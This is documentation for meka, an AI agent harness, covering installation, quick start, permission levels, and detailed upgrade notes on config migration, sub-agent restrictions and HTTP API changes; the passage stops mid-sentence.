Introduction
meka is a general-purpose AI agent harness, the layer that wraps a large language model with everything it needs to act as an autonomous agent: a tool set, working memory, context management, persistent sessions, a permission model, and several ways to drive it. You bring a model (Claude or OpenAI, API key or subscription); meka turns it into an agent that can read and edit files, run commands, fetch web pages, call MCP servers, and delegate to sub-agents to get real work done.
The name reflects the design: the model is the pilot, and meka is the mech it operates. The pilot (the model and the backend serving it) is swappable; the harness around it stays the same.
meka ~/project [r] > find all Rust files in this project and count the lines of code
You describe the goal in natural language and the agent decides which tools to use to reach it.
Use it however you work
The same agent core is exposed through four front-ends:
- Interactive: a permission-gated REPL for conversational work in your terminal
- One-shot:
meka --oneshot -p "..."for scripts, pipelines, and CI - Editor (ACP): run as an Agent Client Protocol agent inside editors like Zed
- HTTP service:
meka serveexposes the agent over HTTP+JSON for bots, web UIs, and other programs
What the harness provides
- Built-in tools: file read/write/edit, glob search, regex content search (ripgrep), web fetch and shell command execution
- Pluggable backends:
anthropic-messages,claude-subscription,openai-chat-completions,openai-responses,chatgpt-subscription, and any endpoint serving one of those protocols - MCP support: extend the agent with tools, resources, and prompts from external MCP servers
- Permission model: control what the agent can do (none/read/workspace/unrestricted), switchable mid-session
- Sessions: conversations persisted in SQLite; resume, export, or compact any session
- Working memory: a session-scoped scratchpad for intermediate results that stays out of the context window
- Sub-agents: delegate research or analysis to sub-agents that can orchestrate their own sub-agent teams and be run at a restricted permission level
- Skills: load reusable, user-authored instruction packages on demand
- Context management: automatic compaction keeps long sessions under the model’s context limit
- Extended thinking:
anthropic-messagesandclaude-subscriptionsupport extended thinking for complex reasoning
How it works
- You give meka a goal in natural language, interactively, one-shot, over ACP, or over HTTP.
- meka sends it to the configured model along with a system prompt, the tool schemas, and a context block describing the current permission level, working directory, tools, and skills.
- The model decides which tools to call (if any) and returns text and/or tool calls.
- meka enforces the current permission level, executes the tool calls, and feeds the results back to the model.
- The loop repeats until the model is done; the final response is returned (streamed as Markdown in the terminal).
Installation
meka is written in Rust and builds as a single binary.
Pre-built binaries
Download the latest release for your platform from the GitHub Releases page.
| Platform | Archive |
|---|---|
| Linux (x86_64) | meka-linux-amd64.tar.gz |
| macOS (Apple Silicon) | meka-macos-arm64.tar.gz |
| Windows (x86_64) | meka-windows-amd64.zip |
Extract the binary and place it somewhere on your $PATH:
# Linux/macOS
tar -xzf meka-*.tar.gz
cp meka ~/.local/bin/
mekabox
scripts/mekabox
runs the meka installed on the host inside a stock archlinux:latest container, with no image of
its own to build or pull: the binary is bind-mounted in, ~/.config/meka read-only, and
~/.local/share/meka writable, since that is where meka.db keeps every session and credential.
The agent starts at unrestricted with instructions saying it may install whatever the task needs,
and that it must not create memories or scheduled jobs unless asked, since the store it writes is
the host’s. It is the answer to “let it do anything, just not to my machine”: the container is
disposable and the host config cannot be written. It picks podman over docker when both are present.
Cargo install
If you have Rust installed, you can install meka directly from the Git repository:
cargo install --locked --git https://github.com/k4yt3x/meka.git
This builds the latest version from source and installs it to ~/.cargo/bin/.
Building from source
Prerequisites
- Rust 1.95 or newer, the version
Cargo.tomldeclares - A C compiler (for the bundled SQLite)
Build
git clone https://github.com/k4yt3x/meka.git
cd meka
cargo build --release
The binary will be at target/release/meka. Copy it somewhere on your $PATH:
cp target/release/meka ~/.local/bin/
Verify
meka --version
meka --help
Quick start
1. Add an account and a profile
Before the first run, configure an account and a profile on it. meka account add runs the right
credential flow (OAuth login or API-key prompt) and writes the account to
~/.config/meka/config.toml; meka profile add names the model to ask it for:
# Claude Code subscription (OAuth)
meka account add anthropic --backend claude-subscription
meka profile add work --account anthropic --model claude-opus-5
# or a Claude API key
meka account add anthropic --backend anthropic-messages
meka profile add work --account anthropic --model claude-opus-5
# or OpenAI
meka account add openai --backend openai-chat-completions
meka profile add work --account openai --model gpt-5.6-sol
account add prompts for the backend you omit and acquires the secret (browser OAuth for
claude-subscription / chatgpt-subscription, an API-key prompt otherwise), keeping it in the
store. profile add prompts for the account and model you omit. A sole profile is the default;
add more later and switch with meka profile use <name> or the per-run --profile <name> flag.
If you launch
mekawith no profile configured, it errors and tells you to runmeka account addandmeka profile add. See Configuration for all options and the fullmeka account/meka profilereference.
2. Start using meka
After setup, you will see a prompt:
meka ~/project [r] >
The [r] indicates the read permission level (the default). The agent can read files, search, and run shell commands in a sandbox that blocks writes. It cannot modify your files.
3. Ask it something
meka ~/project [r] > what files are in the current directory?
The agent will use the find_files tool to list files and describe them.
4. Enable the workspace level
Press Shift+Tab to cycle the permission to workspace, where the agent may write inside your working directory:
meka ~/project [w] >
Now it can modify files too, and its shell may write inside the same boundary:
meka ~/project [w] > create a file called hello.txt with the text "hello world"
5. One-shot mode
For quick tasks without entering the interactive shell:
meka --oneshot -p "what is my current working directory?"
The process exits after the agent responds. Without --oneshot the same prompt runs as the first
turn and then drops you into the interactive shell.
6. Continue a previous session
To pick up where you left off, continue the last session:
meka -c
Or resume a specific session by its id:
meka -r 550e8400-e29b-41d4-a716-446655440000
See Sessions for more details.
Upgrading
Most upgrades are a binary swap: replace the old executable with the new one and carry on. This page covers the ones that are not.
Copying a store
The store under MEKA_DATA_DIR runs in WAL mode, so the most recent writes, including a schema
migration, can sit in meka.db-wal beside meka.db until SQLite checkpoints them. A copy that
takes meka.db alone can therefore carry a schema version its tables have not caught up with.
meka checks for that on open and refuses the store rather than running against it. Copy the -wal
and -shm companions with the file.
0.54 to 0.55
GET /v1/sessions/{id}/stream is the session’s event feed and no longer ends with a turn. It
used to rejoin the current turn and close after that turn’s terminal; it now carries every turn on
the session, whoever started it, for as long as the connection is held, and opens the feed of a
session that has not streamed yet instead of answering 404. A client that read the stream to its
end must stop at the terminal it was waiting for. POST /turn with stream: true is unchanged and
still closes after its own terminal. The replay ring spans turns, so a Last-Event-ID from an
earlier turn resumes across them rather than reporting a gap.
Every SSE event carries turn_id and session_id, and turn.started carries source. A
client that compared an event’s data whole sees two extra members; one that read named fields is
unaffected.
Scheduled fires and background-outcome turns are on the feed. They used to be invisible over
HTTP until GET /messages. Nothing changes on the webhooks: a fire still posts schedule.fired
and nothing else.
agent_steer is a new built-in tool. A session that lists tools by name, or a skill that
denies agent_spawn to take the lifecycle tools with it, now covers five names rather than four.
0.53 to 0.54
The store renames its tables and columns in place. The upgrade runs on the first open, behind
the usual pre-migration backup, and needs nothing from you. A tool that reads meka.db directly
sees scratchpad_entries for tool_outputs, messages.kind for messages.role,
background_tasks.tool and scratchpad_entry for tool_name and scratchpad_name,
mcp_credentials.server for server_name, blobs.size_bytes for size, and the session counters
without their stat_ prefix; the provider_credentials view and memories.last_read_at are gone.
Sessions has the full layout.
Three surfaces say the new names too. GET /v1/sessions/{id}/tasks and the task.finished
webhook carry tool and scratchpad_entry in place of tool_name and scratchpad_name. A
memory’s creation stamp is created_at on GET /v1/memory and in --format json, and created
in a file meka memory export writes. A session archive holds its scratchpad entries under
scratchpad_entries rather than tool_outputs and is format_version 3; meka session import
refuses an older archive, so export it again from the meka that wrote it, or rename the key and set
the version in the file by hand.
0.52 to 0.53
[session].context_messages is gone. Delete the key from config.toml; a file still carrying
it is refused at startup, naming the key and the line. It cut every request to the newest 200
messages, and a conversation that outgrew it lost its oldest messages from the request with no
summary in their place: context usage fell instead of climbing, and the agent forgot what it had
been told before the cut. Every request now carries the whole conversation, and the context
ceiling ([session].context_ceiling_percent, 90% of the profile’s context_window by default)
with auto-compaction is the only bound. A long session reaches the ceiling and compacts where it
used to slide; with auto_compact = false it grows until the provider rejects a request.
Nothing in the store changes. A session already past 200 messages resumes with all of them in the request, so its first turn back may compact.
The container image is gone. ghcr.io/k4yt3x/meka receives no new tags, and the Dockerfile
went with it. What the image was for, running the agent unrestricted against a disposable
filesystem, is what mekabox does with the meka installed on the
host, inside a stock archlinux:latest container with your config mounted read-only; install the
binary from the release archive or with Cargo and run the wrapper. The wrapper itself moves from
contrib/container/mekabox to scripts/mekabox, so a link or PATH entry that named the old
path needs the new one.
0.49 to 0.50
meka tools is meka tool. Every top-level command names the object it manages in the
singular, and this was the one that did not. meka tools list is meka tool list; the flags and
the JSON envelope are unchanged. meka mcp tools <name> keeps its name, since it lists the tools
of a server rather than managing tools.
/tasks is /task in the REPL, for the same reason: /skill, /memory and /schedule are
singular. /task, /task show <id>, /task cancel <id> and /task cancel --all do what the
plural did. The HTTP route /v1/sessions/{id}/tasks is unchanged.
0.46 to 0.47
search_web is gone. It scraped DuckDuckGo’s HTML and was turned away by the bot detection more
often than not. Web search now comes from an MCP server, which packages one engine’s key, quota and
response shape without meka embedding any of them:
meka mcp add exa https://mcp.exa.ai/mcp
A [tools] list that still names search_web warns at startup and otherwise works. Existing sessions
that called it resume unchanged: their tool results are text, and nothing re-runs them.
0.45 to 0.46
The store migrates itself, as every release since 0.43 has. config.toml does not, and this
release changes its shape: a [providers.<name>] profile is now an [accounts.<name>] table plus
a [profiles.<name>] table, default_provider is default_profile, and the ask permission
level is gone. A config in the old shape is refused at startup, naming the first key meka does not
know, rather than read with a guess at what it meant. The conversion is a one-shot script,
migrate-0.45-to-0.46.py, attached as an asset to the 0.46 release.
Beyond the config shape, this release renames several tool parameters, changes a handful of HTTP
fields and status codes, and makes ACP answer InvalidParams where it answered InternalError.
Everything a client, a skill or a script could depend on is listed below under “What else changed”
and “Tool parameters”, each with its remedy. Run the script, launch once, and work down those two
lists for anything you automated.
Order
-
Run the script against your config, first as a dry run, then with
--apply. It needs Python 3.11 and thetomlkitpackage (pip install tomlkit), which is what lets it keep every comment and the order of everything it does not touch.python3 migrate-0.45-to-0.46.py # prints a diff; writes nothing python3 migrate-0.45-to-0.46.py --apply # rewrites config.toml in placeIt finds meka’s config the way meka does, honoring
MEKA_CONFIG_DIR;--config PATHpoints it at a copy instead.--self-testchecks the script against its own fixture and exits. -
Install 0.46 and launch it once. The store migrates on that open, behind an automatic copy beside it named for the schema version it came from (
meka.db.v9.bakfor a store 0.45 left), in ten ledger steps. The first creates the REPL’sprompt_historytable where a store lacks one, a no-op otherwise. The other nine:sessions.providerbecomessessions.profile, andprovider_credentialsbecomesaccount_credentials, keyed by account, both renames of what was always there; anapprovalscolumn is added, everyasksession becomesnonewith it on, and a root session that never recorded a level (one an ACP client created) adopts[permissions].default; each stored turn’s inline<context>preamble becomes its ownturn_contextblock; every image’s bytes move out of its message row intoblobs, leaving a reference; every column and index takes one naming rule, with the JSON in two of them following suit; arepairrow’s own thinking blocks take that rule’s tag too, which the step before it passed over; a root session still without a level after all that takes[permissions].default, and a launch that cannot read the file refuses here rather than skipping the stamp; and a stopped task’s stored status is spelledcanceled. Four of these walk every message row, so a store with years of image-heavy sessions takes a moment on that first launch and grows a copy of the same size beside it. A store restored from a.dumpreplays the whole ledger, and if no default profile can be resolved when it does, the frozen 0.44 step warns with its old--provideradvice; read it as--profile.
Run the script before you launch 0.46, not after. A meka launched against an unconverted config
warns that it cannot read the file and then refuses whatever needed it; only the commands that
edit it through toml_edit (meka account remove, meka profile remove, meka mcp remove) and
the ones that read the store alone still run. The store migrates on that launch only if no step
needs the file. A root session that never recorded a level needs [permissions].default from it,
and a migration that cannot read the file refuses and rolls back rather than stamping nothing, so
the store keeps its 0.45 shape until the launch after the script has run.
What the script converts
| Before | After |
|---|---|
default_provider = "work" | default_profile = "work" |
[providers.work] with type, base_url, client_id, oauth_token_url, device_id | [accounts.work] with backend in place of type, and the other four unchanged |
[providers.work] with model, context_window, max_output_tokens, effort, vision, thinking, thinking_budget, max_request_bytes, redact_thinking | [profiles.work] with account = "work" and eight keys unchanged; redact_thinking = true becomes thinking_display = "redacted" and false becomes "summarized" |
[permissions].enabled containing "ask" | "none" in its place |
[permissions].default = "ask" | default = "none" and approvals = true |
[web].request_timeout_seconds = 30, connect_timeout_seconds, read_timeout_seconds | request_timeout = "30s", connect_timeout, read_timeout, by value; a 0, which meant the default, is removed |
[mcp].grace_seconds = 3, connect_timeout_seconds = 30 | grace = "3s", connect_timeout = "30s", by value; a 0 becomes "0s", which grace accepts and connect_timeout refuses at startup |
[mcp].strict | default_required, same meaning |
[session].retention_days = 30 | retention = "30d", by value |
[thinking].budget_tokens | budget, same value |
Every profile becomes one account and one profile of the same name, so nothing you named changes
its name and every session still resolves. Two old profiles on one login stay two accounts with two
copies of the credential; merge them by hand if you like, by pointing both profiles’ account at
one and running meka account remove on the other once nothing names it. A key the script does not
know is carried into the profile table and reported, where meka will refuse it by name; a duration
key whose value is not a whole number is left under its old name and reported, with the same result.
What else changed
- The
meka providersuite is gone.meka account add/login/list/removemanage accounts and their credentials;meka profile add/set/use/list/removemanage profiles.meka account usage/whoami/statsare where they were, and take--profile <name>instead of a positional name.account addtakes--backendwhereprovider addtook--type. - The prompt is a flag.
meka "text"ismeka -p "text", and-p -reads the prompt from stdin. There is no positional prompt, someka unknowncommandis an error rather than a session. --provideris--profile, long form only:-pis the prompt.--format jsonon a--oneshotrun prints one object for the turn; see One-shot mode.- HTTP API: the
providerfield onPOST /v1/sessions,PATCH /v1/sessions/{id}and every session response isprofile, andGET /v1/providersisGET /v1/profiles, whose rows carryaccountandbackendin place oftype. A session export archive’sproviderfield isprofile, and itsformat_versionis 2, so an archive written by 0.45 is refused by version; re-export it from a migrated store. - ACP: the
configOptionsentryproviderisprofile. - REPL:
/provideris/profile, and/statusshows the profile with its account. - One spelling per value.
--permissionandMEKA_PERMISSIONtake a level’s full name (n,r,w,uare gone), and--render-mode,MEKA_RENDER_MODEand[display].render_modetaketermimad,syntectorraw(richis gone). The flags and the config key refuse anything else; the two variables warn and fall through to the next source, as they always have. The undocumentedtextspelling of--format plainis gone too. - A
[permissions].defaultorenabledentry naming a level meka does not have is refused at startup, with the line, the way an unknown key is, instead of being dropped with a warning. The script rewritesask; anything else you spelled yourself. - The
askpermission level is gone, replaced by theapprovalsswitch beside the level: a call above the level is refused, or put to you when the switch is on./approvals on|offin the REPL,approvalsonPOST /v1/sessionsandPATCH /v1/sessions/{id}, and the ACP config option of the same name set it;[permissions].approvalsis what a new session starts with. The store migration turns anasksession intononewith approvals on, which asks about every call asaskdid. An approved call now runs at the session’s level, so an approved write atreadlands only under the workspace roots whereaskwrote anywhere; raise the level if an approved call needs the reach. See Permissions. - A user message is two blocks. What meka injects ahead of the words for a turn (permission
and environment context, todos, catalog changes, background outcomes, the resume notice) is its
own
turn_contextcontent block, first, and the words are atextblock.GET /v1/sessions/{id}/messagesreturns the block typed, so a client readingcontent[0].textas the prompt now reads the context; take thetextblocks. A migration splits every stored turn once. - Image bytes live in a
blobstable. The migration moves every inline image out of its message row and leaves a reference by content hash, so a screenshot read twice is stored once. A session export carries ablobslist with the bytes its sessions reference, and an archive that references a blob neither it nor the store holds is refused. Over HTTP an image block reportsmedia_typeandhash, andGET /v1/sessions/{id}/blobs/{hash}serves the bytes. - A scheduled job runs at its session’s recorded level and nothing else. The polling process’s
own
--permissionno longer stands in for a session row that records no level; every surface records one at creation, and the migration stamps the configured default on any older root row that never got one. A sub-agent’s row now records its level too. - Every config duration is a humantime string.
[web].request_timeout,connect_timeoutandread_timeout,[mcp].graceandconnect_timeout,[session].retention("30d"); the script converts the_secondsand_dayskeys by value, and"0s"is refused where zero is meaningless.[mcp].strictisdefault_requiredand[thinking].budget_tokensisbudget, both converted.MEKA_MCP_STDIO_CONCURRENCYandMEKA_MCP_HTTP_CONCURRENCYare gone: set[mcp].stdio_concurrencyandhttp_concurrency(3 and 20 by default, zero refused).MEKA_MCP_TOOL_TIMEOUTtakes a duration such as10m, not milliseconds; a bare number is ignored with a warning and the default of ten minutes applies. - One exact spelling per value, everywhere.
--permission,--render-mode,--sandbox-backend,--formatandmcp add --transportrefuse case variants (Read,JSON),session exportandGET /v1/sessions/{id}/exportdrop themdalias ofmarkdown,mcp add --authtakesoauth,client_credentialsorclient_credentials_jwtas the[auth]block spells them (the hyphenated forms are gone), and[mcp].default_permission, a server’spermissionandtool_permissions, and[tools].tool_permissionsrefuse a level meka does not have at startup, naming the line, where they warned and ignored it. - HTTP API: an unloaded session whose row records no level omits
permission(it sent""); every optional field is omitted rather thannull,display_summaryincluded;GET /v1/health/readyreportsprofile_configured(wasprovider_configured); thepermission_requiredevent carriesinputand stays answerable for 30 minutes (was 60 seconds); a body that fails to parse says which field on every endpoint;POST /v1/sessions/{id}/responses/{request_id}at a sub-agent’s id answers 422session-not-drivable; a fork of a session another meka process holds answers 409session-locked; a session’stitleis the first user words with whitespace collapsed, cut at 80 characters, andmeka session showlabels ittitle(wasopening). Four status codes move: a[web]orbase_urlmisconfiguration is a sanitized 500 (was a 422 naming the operator’s path), and a session lock meka cannot open is 500 (was 409session-locked); meka’s own request-ceiling refusal is 422 with the newtyperequest-too-large(was 502provider);GETandPATCH /v1/sessions/{id}answer 404 or 500 for a row they cannot read (was 200 withprofile: ""); andPOST /v1/sessions/{id}/schedulewith scheduling disabled is 404 (was 422). - ACP: a locked session, a sub-agent’s id, a profile the config no longer has and every other
refusal the caller can act on answer
InvalidParams(wasInternalError);session/set_config_optionrefuses a profile switch while a turn is in flight instead of writing the row and deferring;session/new,load,resumeandforkrefuse acwdthat is not an existing directory and record it canonically; tool-call and permission titles read<tool_name> <argument>(read_file src/x) and permission requests carryrawInputwith a JSON content block. - Terminal output: every timestamp is local time with its UTC offset (
2026-09-07 14:03 +02:00), sizes print as MiB, KiB or B, and every listing command takes--format json, printing the HTTP API’s record shapes. Tool-call indicators and the approval prompt show a tool’s real name (read_file, notReadFile); the prompt is headed[approval]and takesalwaysandnever. - Skills you wrote that name a renamed tool parameter (next table) or the old
[ask]prompt must be edited by hand; meka does not rewrite skill files. - A gate’s pointer test is
not_empty(wasnot-empty) inschedule_create,POST /v1/sessions/{id}/scheduleandmeka schedule add; stored jobs are converted by the store. canceled, onel, on every wire meka owns. Matchturn.canceledas the SSE terminal event,https://meka.so/errors/turn-canceledas the problemtype, andstatus == "canceled"in task views (GET /v1/sessions/{id}/tasks,DELETE .../tasks/{task_id}),task_listoutput andschedule.firedwebhook bodies; thereasonvalues are unchanged. The store rewrites its stored task rows on first open (the tenth ledger step). ACP’sstopReason: "cancelled"and MCP’snotifications/cancelledare those protocols’ own spellings and stay.
Tool parameters
Six built-in tool parameters are renamed so that one name means one thing across the catalog:
is_regex for a boolean, glob for a glob, limit for a result cap, id for an identifier.
| Tool | Before | After |
|---|---|---|
conversation_search | regex (boolean) | is_regex |
conversation_read | count | limit |
find_files | pattern | glob |
fetch_url | max_length | limit |
agent_followup | agent | id |
agent_delete | agent | id |
A call spelling the old name is missing its required parameter (glob, id) or, where the
parameter was optional, has it ignored in favor of the default. search_contents gains a limit
(1 to 100, default 100) beside its unchanged pattern.
meka does not rewrite what names these. A skill under the skills directory
(~/.config/meka/skills/<name>/SKILL.md) that spells out a find_files or agent_followup call
must be edited by hand, and a scheduled job whose gate calls one of these tools with the old
argument must be recreated. Past calls in a session’s history keep the old names, which is
harmless: the model reads the current schema on its next turn.
The sections below predate 0.46 and use its old names: --provider is --profile, meka provider … is meka account … and meka profile …, the positional prompt is -p, and the ask level is
none with approvals on.
0.43 to 0.44
A binary swap, and the store migrates itself as promised below, unless you authenticate an MCP
server with auth_token or client_secret, which are no longer config keys. Read the next
section first if you do; meka will refuse to start otherwise. Then the behavior changes below,
worth reading before you resume an existing session or run a scripted meka, several of which apply
only if you run meka serve or meka acp.
MCP secrets moved out of config.toml. auth_token on a server, and client_secret in a
[mcp.servers.auth] block, are gone. Both were secrets sitting in a plaintext file people commit
and sync; they now live in the store beside the OAuth tokens, which is where the login
credentials have always been.
meka cannot move them for you. The store migrates itself because it has a ledger recording what it
has already done; config.toml has none and may be older or newer than the binary at any moment, so
a key left behind is a parse error naming the key and the line rather than a value silently ignored:
$ meka mcp list
Error: database error: schema migration 3 ('sessions_name_their_provider') failed: Invalid
parameter name: cannot record a provider for 4 carried-forward session(s) while config.toml
cannot be read; fix the file and start meka again. The store is unchanged
The parse error itself is a warning just above it, naming the key and the line:
WARN meka: failed to read config.toml, so no profile can be adopted for older sessions:
configuration error: failed to parse …/config.toml: TOML parse error at line 12, column 1
|
12 | auth_token = "…"
| ^^^^^^^^^^
unknown field `auth_token`, expected one of `name`, `transport`, …
Two messages because two things are stuck: the file will not parse, and the migration that has to name a profile for your existing sessions cannot ask it which one. Fixing the file fixes both, and nothing has been written in the meantime: “The store is unchanged” is literal, and the copy taken before the attempt is still beside your store. (On an installation with no sessions to carry forward, only the parse error appears.)
For each server, delete the line and store the secret instead. Which command depends on which key
you deleted, and the two are alternatives, not a sequence: a bearer belongs to a server with no
[auth] block, a client secret to one that has it.
$ # for a server whose `auth_token` you deleted (no [auth] block):
$ pass show api-token | meka mcp login api --auth-token-stdin
$ # for a server whose [auth] block's `client_secret` you deleted:
$ pass show acme-secret | meka mcp login acme --client-secret-stdin
meka mcp get <name> then lists the kinds it holds without printing any of them. --auth-token and
--client-secret are gone from meka mcp add for the same reason: an argument is visible in ps
output and in the shell history of every user on the machine. Use the -stdin forms, which add
also takes.
If you were using auth_token = "${API_TOKEN}" to keep the token out of the file, a header does the
same job and still expands: headers = { Authorization = "Bearer ${API_TOKEN}" }. Storing it is the
better answer, since it survives without the variable being set.
Nothing else about a server moves. env, args and headers stay in config.toml with ${VAR}
expansion, because they configure a process or a request and merely may contain a secret.
isolated scheduled jobs are gone; every job fires in the session that created it. The mode ran
a job’s turn in a fresh session rather than the conversation that made it, to avoid replaying that
conversation’s history. Only meka serve ever honored it: the REPL and ACP already ran such a job
in the open conversation, with a warning, so for two of the three hosts nothing changes at all.
Existing jobs are not deleted and do not need touching. The store drops the column and the job keeps its schedule and its prompt, firing into the session it belongs to from then on.
What it cost is why it went. The fire inherited the creating session’s authority (its permission
level, its working directory, its profile, its MCP servers) and dropped the conversation,
which is where anything you told the agent that never reached a memory or an instructions file
lives. Its result landed in a session nothing linked to, and the turn could not even cancel its own
job, because schedule_cancel resolves against the session it is running in.
meka acp and meka serve clients: POST /v1/sessions/{id}/schedule now refuses isolated with a
422 naming the field, rather than accepting and ignoring it. GET /v1/schedule and the
schedule.fired webhook no longer carry it either.
If you were relying on the mode, an external timer does the same job with the level and profile stated outright instead of inherited (0.44 syntax):
meka --oneshot --permission read --provider work "summarize today's alerts"
Often a gate is the better answer: it means a frequent job takes no turn at all on the ticks where nothing happened, which saves more than skipping the history did.
A session another one spawned is driven only by its parent. POST /v1/sessions/{id}/turn
answers 422 for a sub-agent’s id, meka -r <sub-agent-id> refuses by name, and a scheduled fire aimed
at one does the same. Both agent builders now check, rather than the scheduling door alone.
What this closes is that a sub-agent’s restrictions live in its spawn record, which those builders
never read: the [subagents] denials it was created under, its memory and instruction grants, and
the permission ceiling its spawn call set. Driving one from a host therefore ran a conversation that
was deliberately given narrow tools with the full built-in set at the host’s level. agent_followup
was and remains the door that reconstructs those terms, so nothing meka does for you changes.
Reading a sub-agent is untouched: meka session export, GET /v1/sessions/{id}/messages and
meka session list --include-children all still serve it.
Forking one does not promote it, and that is the other half of the change. A fork of a sub-agent
now carries parent_session_id and the spawn terms, so the copy is a sibling under the same parent
rather than a new root; without that, POST /v1/sessions/{id}/fork was a one-call way around the
refusal above, handing back a live session over a sub-agent’s whole conversation with none of the terms
it was spawned under. The two doors that have to hand back a live session therefore refuse a
sub-agent’s id up front: POST /v1/sessions/{id}/fork answers 422, and ACP’s session/fork answers
InvalidParams. meka session fork still makes the copy: it takes no runtime, and the copy is
readable like any other sub-agent. Forking an ordinary session is unchanged. If you want a sub-agent’s conversation as a root session of your own, copy
the text out rather than expecting a command to promote it.
meka session list --long is gone, along with the columns it showed. If a script parses that
output, it needs updating; the default columns are unchanged.
/cd with no argument returns to the directory meka was launched from, not $HOME. /cd ~
still goes home. The old behavior made a bare /cd a surprising way to leave the project you were
working in.
render_mode = "silent" is gone, as are --render-mode silent and MEKA_RENDER_MODE=silent.
Delete the setting: termimad is the default.
A config still carrying it fails to parse, naming the value and the line, and --render-mode silent
is refused by clap. MEKA_RENDER_MODE=silent is the quiet one: an unreadable value there has always
been dropped in favor of the next source, so it falls through to your config file or the default
rather than saying anything.
It never did what it says. It suppressed the model’s answer and nothing else, so a run under it
printed the session id, the reasoning line, tool indicators, todo lists, notices and token usage,
and dropped the one thing you were waiting for. Both things it might plausibly have meant are
shell redirections that already work, and work the right way round: meka … 2>/dev/null keeps the
answer and drops the chrome, meka … >/dev/null 2>&1 drops both.
SSE thinking.delta now carries one chunk of reasoning per event. It used to send one event per
completed block, so a client that opted into supports_reasoning_stream and rendered each event as a
whole block will now show fragments. Concatenate the deltas to rebuild the block, exactly as you
already do for assistant_text.delta. A client that concatenated needs no change, and one that never
set the capability sees nothing new. A turn the provider answered without streaming still arrives as
a single delta, so there are no two shapes to tell apart, and stream: false still reports each block
whole in thinking.
One consequence worth planning for: a session receiving reasoning gives up its retry on a transient
provider failure, because the deltas have already reached you and a second attempt would repeat them.
Leave supports_reasoning_stream off if you would rather have the retry.
meka session delete refuses ids given alongside --all. It used to take both and quietly do
the wider thing, so meka session delete "$ID" --all with $ID unset deleted every session and
then reported the empty id as a failure: a complete wipe reported as an error. Naming sessions and
asking for all of them are two different requests; say one or the other. --older-than-days has
conflicted with both for the same reason since 0.44.
Every command taking a session, job or task id now accepts a unique prefix of one, which is what
the listings print. Full ids still work, so nothing that already worked stops. An ambiguous prefix
is refused with the candidates named, and an empty one matches nothing rather than the only row:
meka schedule cancel "$JOB" with $JOB unset used to cancel whatever job was alone.
meka mcp logout <name> clears every credential that server holds, not only its OAuth tokens.
If you were using it to drop a stale token from a server that also has a stored bearer or client
secret, you will now need to store that again with meka mcp login.
A scheduled job is refused on a sub-agent session. POST /v1/sessions/{id}/schedule answers 422
if the session was spawned by another. Sub-agents never had the schedule_* tools, so no job meka
created can be affected; what this closes is a client planting one directly, which would have woken
the sub-agent without the tool restrictions or memory grants it was spawned under.
ACP session/load and session/resume refuse a sub-agent’s id. Both used to take the session’s
lock, rewrite its cwd, retire its background work and replace its roots before failing with
Internal error; both now decline with InvalidParams before touching anything, naming the parent
to use agent_followup from. An editor that stored a sub-agent’s id from session/list gets a clear
refusal instead of a mutated row and an opaque failure. Over HTTP the same holds for every write-side
endpoint: POST /v1/sessions/{id}/turn and its neighbors refuse before taking the sub-agent’s lock or
marking its background tasks interrupted.
A session that carries spawn terms is refused even when its parent is not in the store. That
shape has one source, and it is a pair of documented commands: meka session export <sub-agent> --format json followed by meka session import. The archive’s parent_id points outside it, so the
import re-roots the row while copying the spawn terms faithfully. The result reads as a sub-agent’s
conversation to every door, so meka -r on it, and POST /turn, /fork, /schedule and PATCH
against it over HTTP, all refuse. meka -c skips it and meka session list shows it only under
--include-children, both so nothing offers you a session it will then decline. If you were using
export-then-import to promote a sub-agent into a standalone session, that no longer works; there is
no supported replacement, because the tools and permission ceiling a sub-agent ran under live in the
terms its parent set and nothing outside that parent can reconstruct them. The conversation itself
stays fully readable, and importing a whole tree (the root and its sub-agents together) is
unaffected, since each child keeps its parent.
This upgrade deletes the pre-migration copy 0.43 left, and keeps one from now on. Before it
migrates, meka copies the store aside; until now nothing removed those, so a full duplicate of your
whole history accumulated per schema-changing release. From 0.44 a fresh copy supersedes the one
before it. In practice that means meka.db.v1.bak in your data directory, the copy of your
pre-0.43 store, is removed on this upgrade and replaced by a copy of your pre-0.44 one. If you
want the older file, move it somewhere else before upgrading.
Two things worth knowing about what is kept. Peak disk during an upgrade is higher than the steady state, because the new copy is written before the old ones go: budget for the store plus every copy already beside it plus one more, and expect to settle back at twice the store. And the copy is taken per schema-changing upgrade, not per release, so one file can span several versions if you skip some.
What keeping only the newest copy costs, stated plainly. The copy you hold is of the store after the migration before this one. So it undoes the most recent conversion and nothing earlier: if a migration converts something wrongly, you do not notice, and you then take another schema-changing upgrade, the only copy predating the fault is gone. That is a real limitation rather than a technicality, and it is the reason to move a copy of your own aside if a particular upgrade worries you. It is accepted because the alternative was an unbounded pile of full-size duplicates, whose cost is certain where this one is conditional on a bug outliving a release.
A resume now starts at the level the session recorded. Both CLI hosts do this: the REPL and
meka --oneshot -c / -r. The scripted one is where a silent change matters most, since a
--oneshot run that passes no --permission used to start at the config default and now starts at
whatever the session was last set to. A session you created with --permission unrestricted comes
back at unrestricted without the flag. Before, the row said one thing and the run did another;
every other surface already read the row, and these two were the ones that did not. Pass
--permission on the resume to move it. A level that is no longer in [permissions].enabled is not
granted: the session drops to the configured default with a warning.
A session now runs on the profile it was created with. Every existing session is
recorded as running on your current default profile, which is what they were in fact running on, so
nothing moves. From here meka -p openai then meka -c stays on openai. If nothing could be
resolved when the migration ran (no profile configured yet), sessions are left without one and say
so; resume such a session once with --provider <name> to record it. The migration says which
profile it recorded and on how many sessions; run once with -v if you want to see it.
A 502 from meka serve now carries the provider’s own response text, as a provider_response
member on the Problem Detail. It used to be withheld and written only to the server log.
The reason for the change is that the redaction defended less than it appeared to: meka acp has
always handed the same text to its client, so withholding it on HTTP left the text just as public
while making the one surface quieter. What it cost was the upstream’s error type, which is the one
part of a failed turn a client can act on.
Know who can read it before you leave it on. An upstream refusal can name your account with the provider,
your organization, and your rate-limit posture. Submitting a turn takes sessions:w, but the
failure is also carried by the terminal turn.failed event, and re-attaching to a stream takes only
sessions:r, so a read-only token sees it too. If you issue read-only tokens to people who may
observe a session but are not entitled to the account behind it, set [serve] relay_provider_errors = false. Nothing else changes: detail carries the same sentence either way,
and with the key off the member is simply absent.
The 503 for a required MCP server that is down is not affected and still reports only the server
names. That reason is meka’s own subprocess text and has carried a command line and its filesystem
path, which is a different disclosure and not one this key governs.
GET /v1/info no longer returns provider or model. Read them from GET /v1/providers
instead, which lists every configured profile with its name, its type (the backend), its
model, and active: true on the one a session gets when it names none. The old fields held the
default profile’s backend under the name provider, while provider on POST /v1/sessions names
